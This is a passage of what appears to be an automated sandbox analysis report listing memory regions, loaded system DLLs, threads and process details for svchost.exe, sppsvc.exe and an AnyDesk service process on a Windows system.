start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3868 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3869 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3870 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3871 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3872 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3873 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3874 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3875 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3876 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3877 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3878 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3879 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3880 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5661 start_va = 0x2950000 end_va = 0x2a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 5699 start_va = 0xc10000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 5700 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Thread: id = 414 os_tid = 0xc20 Thread: id = 415 os_tid = 0x8b4 Thread: id = 416 os_tid = 0x860 Thread: id = 417 os_tid = 0x85c Thread: id = 418 os_tid = 0x858 Thread: id = 419 os_tid = 0x844 Thread: id = 420 os_tid = 0x840 Thread: id = 421 os_tid = 0x834 Thread: id = 422 os_tid = 0x828 Thread: id = 423 os_tid = 0x4b0 Thread: id = 424 os_tid = 0x6ec Thread: id = 538 os_tid = 0xe78 Process: id = "28" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5bdb9000" os_pid = "0x114" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\FontCache" [0xa], "NT SERVICE\\Mcx2Svc" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xe], "NT SERVICE\\TBS" [0xa], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0003894e" [0xc000000f], "LOCAL" [0x7] Region: id = 5260 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5261 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 5262 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5263 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5264 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5265 start_va = 0xc0000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5266 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5267 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5268 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5269 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 5270 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 5271 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 5272 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 5273 start_va = 0x600000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 5274 start_va = 0x810000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 5275 start_va = 0x8b0000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 5276 start_va = 0x970000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 5277 start_va = 0xa60000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 5278 start_va = 0xb20000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 5279 start_va = 0xc50000 end_va = 0xf1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5280 start_va = 0xfb0000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 5281 start_va = 0x1570000 end_va = 0x15effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 5282 start_va = 0x17b0000 end_va = 0x182ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017b0000" filename = "" Region: id = 5283 start_va = 0x1830000 end_va = 0x1c2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001830000" filename = "" Region: id = 5284 start_va = 0x1c30000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 5285 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5286 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5287 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5288 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5289 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5290 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5291 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 5292 start_va = 0x7fef4000000 end_va = 0x7fef411afff monitored = 0 entry_point = 0x7fef40c7b5c region_type = mapped_file name = "fntcache.dll" filename = "\\Windows\\System32\\FntCache.dll" (normalized: "c:\\windows\\system32\\fntcache.dll") Region: id = 5293 start_va = 0x7fef4120000 end_va = 0x7fef4153fff monitored = 0 entry_point = 0x7fef4149228 region_type = mapped_file name = "ssdpsrv.dll" filename = "\\Windows\\System32\\ssdpsrv.dll" (normalized: "c:\\windows\\system32\\ssdpsrv.dll") Region: id = 5294 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 5295 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 5296 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 5297 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5298 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5299 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5300 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5301 start_va = 0x7fefbe40000 end_va = 0x7fefbefafff monitored = 0 entry_point = 0x7fefbe46de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 5302 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 5303 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 5304 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5305 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 5306 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 5307 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5308 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5309 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5310 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5311 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 5312 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5313 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5314 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5315 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5316 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5317 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5318 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5319 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 5320 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5321 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5322 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5323 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5324 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5325 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5326 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5327 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 5328 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 5329 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 5330 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 5331 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5332 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 5333 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 5334 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5335 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5336 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5337 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5391 start_va = 0xf30000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 5392 start_va = 0x1060000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 5393 start_va = 0x1140000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 5394 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 5395 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 5396 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 425 os_tid = 0x8d8 Thread: id = 426 os_tid = 0x8c4 Thread: id = 427 os_tid = 0x8c0 Thread: id = 428 os_tid = 0x8bc Thread: id = 429 os_tid = 0x874 Thread: id = 430 os_tid = 0x410 Thread: id = 431 os_tid = 0x5a0 Thread: id = 432 os_tid = 0x414 Thread: id = 433 os_tid = 0x3ac Thread: id = 434 os_tid = 0x6f8 Thread: id = 511 os_tid = 0xb54 Thread: id = 516 os_tid = 0xb68 Thread: id = 517 os_tid = 0xb70 Process: id = "29" image_name = "sppsvc.exe" filename = "c:\\windows\\system32\\sppsvc.exe" page_root = "0x55dcf000" os_pid = "0x8e0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\sppsvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:00042628" [0xc000000f], "LOCAL" [0x7] Thread: id = 435 os_tid = 0x95c Thread: id = 436 os_tid = 0x914 Thread: id = 437 os_tid = 0x8f0 Thread: id = 438 os_tid = 0x8ec Thread: id = 439 os_tid = 0x8e8 Thread: id = 440 os_tid = 0x8e4 Process: id = "30" image_name = "anydesk.exe" filename = "c:\\programdata\\anydesk\\anydesk.exe" page_root = "0x2ac1d000" os_pid = "0x994" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 3288 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3289 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3290 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3291 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3292 start_va = 0x60000 end_va = 0x62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3293 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3294 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 3295 start_va = 0xfd0000 end_va = 0x1f4cfff monitored = 1 entry_point = 0xfd1ce9 region_type = mapped_file name = "anydesk.exe" filename = "\\ProgramData\\anydesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe") Region: id = 3296 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3297 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3298 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3299 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3300 start_va = 0xfffb0000 end_va = 0xfffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 3301 start_va = 0xfffdb000 end_va = 0xfffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 3302 start_va = 0xfffde000 end_va = 0xfffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 3303 start_va = 0xfffdf000 end_va = 0xfffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 3304 start_va = 0xfffe0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 3305 start_va = 0x370000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 3306 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3307 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3308 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3309 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3310 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3311 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3312 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 3313 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3314 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 3315 start_va = 0x4c0000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3316 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3317 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: 